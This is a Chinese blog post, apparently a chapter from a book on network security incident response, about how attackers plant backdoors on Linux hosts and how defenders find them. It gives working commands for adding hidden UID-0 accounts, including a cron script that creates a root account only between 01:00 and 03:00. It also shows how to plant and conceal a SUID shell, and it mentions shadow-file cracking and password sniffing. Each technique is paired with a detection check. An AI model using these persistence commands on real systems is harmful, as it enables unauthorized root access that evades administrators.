【愚公系列】2024年03月 《网络安全应急管理与技术实践》 018-网络安全应急技术与实践(主机层-Liunx)
🏆 作者简介,愚公搬代码
🏆《头衔》:华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,51CTO博客专家等。
🏆《近期荣誉》:2022年度博客之星TOP2,2023年度博客之星TOP2,2022年华为云十佳博主,2023年华为云十佳博主等。
🏆《博客内容》:.NET、Java、Python、Go、Node、前端、IOS、Android、鸿蒙、Linux、物联网、网络安全、大数据、人工智能、U3D游戏、小程序等相关领域知识。
🏆🎉欢迎 👍点赞✍评论⭐收藏
🚀前言
Linux主机层安全是指在Linux操作系统的主机层实施的一系列安全措施和策略,用于保护Linux主机免受各种安全威胁和攻击的影响。
措施 | 描述 |
---|---|
使用最新的操作系统和软件版本 | 及时更新操作系统和软件补丁,以修复已知的安全漏洞 |
配置强密码策略 | 设置复杂的密码要求,如密码的长度、复杂度要求等,避免使用弱密码 |
禁用不必要的服务 | 关闭或禁用不需要的网络服务,减少攻击面 |
防火墙配置 | 配置防火墙规则,只允许必要的网络流量进入主机 |
定期备份数据 | 定期备份重要的数据,并将备份数据存储在安全的位置 |
限制用户权限 | 给用户分配最小必要权限,避免普通用户拥有root权限 |
使用安全的远程连接协议 | 使用安全协议如SSH进行远程连接,确保数据传输的机密性和完整性 |
监控和日志记录 | 实施日志记录和监控机制,记录系统的活动和事件,及时发现异常行为 |
使用防病毒软件 | 安装并定期更新防病毒软件,及时检测和清除恶意软件 |
定期安全审计 | 进行定期的安全审计,检查主机的安全配置和漏洞,及时修复和改进 |
🚀一、Linux 系统木马后门植入
与 Windows 系统类似,Linux 系统也存在被植入木马后门的风险。Linux现在泛指一类操作系统,具体的版本有 Ubuntu、CentOs、Debian、Red Hat、OpenSUSE、Oracle Linux 等,本节以 CentOs 为例,讲述木马后门的植入过程Linux 系统中的/etc/passwd 文件是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。该文件格式如下。
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的 SHELL
Linux 系统中的/etc/shadow 文件用于存储 Linux 系统中用户的密码信息。该文件格式如下。
用户名:密码 MD5 加密值:数字(表示自系统使用以来口令被修改的天数):数字(表示口令的最小修改间隔):数字(表示口令更改的周期):数字(表示口令失效的天数):数字(表示口令失效以后账号会被锁定多少天):用户账号到期时间:保留字段尚未使用
🔎1.新增超级用户账户
🦋1.1 常用方法
新添加一个自己知道密码的超级用户,方便后续访问。具体方法如下。
方法一:使用 useradd 命令添加。
/usr/sbin/useradd -o -u0 -g root -p THEPASSWORD NEWUSERNAME
方法二:直接使用交互式编辑器编辑密码相关文件。
直接使用 vim、nano 等编辑器编辑/etc/passwd 和/etc/shadow 文件。
方法三:使用其他非交互式命令编辑密码相关文件。
# echo "e4gle:x:0:0::/:/bin/sh">> /etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500">> /etc/shadow
方法四:加入 su 组。
usermod -G -a wheel LOGINNAME
使用常用方法增加超级用户,具有操作简单、效果好的优点,但同时也有隐蔽性不好的缺点,容易被管理员发现。
🦋1.2 改进方法
利用系统 crond 定时任务,在某个固定时间段内添加 root 权限账户,超出该时间段内恢复正常。例如,要实现在每天的01:00:00~03:00:00这段时间账号有效,则可以先加一个定时任务在每天01:00:00修改/etc/passwd 和/etec/shadow文件添加账号;再加一个定时任务在每天的 03:00:00 修改/etc/passwd 和/etcshadow 删除该账号,具体操作如下。
#!/bin/bash
echo '01 *** cat /etc/passwd > /dev/ttypwd'>> /etc/door.cron;
echo '0 1*** cat /etc/shadow > /dev/ttysdw'>> /etc/door.cron;
echo '01*** echo "jason:x:0:0::/:/bin/sh">> /etc/passwd' >> /etc/door.cron;
echo '01***echo "jason::9999:0:99999:7::" >> /etc/shadow'>> /etc/door.cron;
echo '03 * * * cat /dev/ttypwd > /etc/passwd' >> /etc/door.cron;
echo '0 3 ** * cat /dev/ttysdw > /etc/shadow' >> /etc/door.cron,
echo '0 3 *** rm -f /dev/ttypwd' >> /etc/door.cron;
echo '03 ** * rm -f /dev/ttysdw'>> /etc/door.cron;
service crond restart;
crontab /etc/door.cron;
🦋1.3 防御和清查手段
周期性检查并清理高权限账号,例如使用如下指令筛查uid为0的账号。
awk -F ':' '{if ($3 == 0) print $2}' /etc/passwd
🔎2.破解用户密码
🦋2.1 概述
由于新添加用户的方法隐蔽性不够好,所以更换思路,想办法获得已有用户的密码,从弱口令角度进行突破。
🦋2.2 方法
使用 John the Ripper 等破解工具对拿到的 shadow 文件进行离线破解,获取薄弱用户或 root用户的密码。同时,可以考虑在 Linux系统上安装Snifft 等嗅探工具,监听 TELNET、FTP 等端口,收集用户的密码信息。
🦋2.3 防御和清查手段
定期更新密码,设置足够高强度的密码,杜绝弱口令
🔎3.SUID Shell
🦋3.1 概述
Linux 系统的 uid、gid 和进程的 euid、egid,当某程序设置了 suid,则如同具备了 root 的授权,普通用户就借 root 身份执行命令
🦋3.2 方法
cp /bin/sh /dev/.rs
chmod u+s /dev/.rs
在 bash 中,参数 -p 的作用是打印出当前正在运行的进程的 ID 和相关信息。
当在终端中执行 bash -p
命令时,bash 会创建一个新的子进程,并打印出该进程的 ID。之后,可以通过 echo $$
命令来获取当前进程的 ID。
在实际被入侵时,黑客经常会采用如下技巧来躲避管理员的查找。
(1)尽量将 SUID Shel! 放置在一个不常用的、层次比较深的目录,如/usr/X11/include/X11/。
(2)为了进一步提高隐蔽性,可以将名字命名为与其他文件非常接近,管我员即便看到,从名字表达的信息最好让其在清理的时候存在犹豫和不确定。
(3)将 SUID Shell 程序与其他同样具有 suid 标识位的程序放在同一个地方,增加迷惑性。
🦋3.3 防御和清查手段
定期巡检系统中设置了 suid 的文件列表,逐个检查是否正常,对异常程序进行清理。查找方法如下。
要在 Linux 中查找具有 SUID(Set User ID)权限的文件列表,可以使用以下命令:
find / -perm /4000 -type f
这将在根目录(/)下递归搜索所有具有 SUID 权限的文件,并将结果以列表形式输出。
解释一下命令的参数:
find
:用于在文件系统中搜索文件和目录。/
:指定搜索的起始路径,此处为根目录。-perm /4000
:通过这个参数来指定要查找的权限。/4000
表示任意 4 位中有一位设置为 1 的权限,即 SUID 权限。-type f
:限定搜索结果必须为文件,排除目录。
这个命令可能需要以管理员身份运行才能访问一些受限制的目录和文件。
🔎4.文件系统后门
🦋4.1 概述
在文件系统底层进行修改,实现文件隐藏
🦋4.2 方法
入侵者希望在服务器上存储数据,同时又要确保不能被管理员发现,要存储的数据包括 exploit 脚本工具、后门集、sniffer 日志、E-mail 备份、源代码等构成的较大文件。为防止被发现,入侵者一般会修改或替换相应的检查命令(如ls、du、fsck等以隐匿特定的目录和文件,同时对文件系统进行检查)。
另外,入侵者还可能使用专有的文件系统格式在硬盘上隔出一部分空间,且表示为坏的扇区。入侵者用特别工具访问这些隐藏的文件,普通管理员很难发现这些“坏扇区”中的文件系统,而它确实存在。
🔎5.Crond 定时任务
🦋4.1 概述
设计添加定时任务,让其在管理员不在线的时间范围内执行特定的越权行为。这种方法也常常可以与其他方法结合使用。
🦋4.2 方法
添加定时任务脚本。
🦋4.3 防御与清查手段
检查已添加的定时任务,检查定时任务执行日志,对于异常情况进行专门分析如确定无用则及时删除。
🚀感谢:给读者的一封信
亲爱的读者,
我在这篇文章中投入了大量的心血和时间,希望为您提供有价值的内容。这篇文章包含了深入的研究和个人经验,我相信这些信息对您非常有帮助。
如果您觉得这篇文章对您有所帮助,我诚恳地请求您考虑赞赏1元钱的支持。这个金额不会对您的财务状况造成负担,但它会对我继续创作高质量的内容产生积极的影响。
我之所以写这篇文章,是因为我热爱分享有用的知识和见解。您的支持将帮助我继续这个使命,也鼓励我花更多的时间和精力创作更多有价值的内容。
如果您愿意支持我的创作,请扫描下面二维码,您的支持将不胜感激。同时,如果您有任何反馈或建议,也欢迎与我分享。
再次感谢您的阅读和支持!
最诚挚的问候, “愚公搬代码”
- 点赞
- 收藏
- 关注作者
评论(0)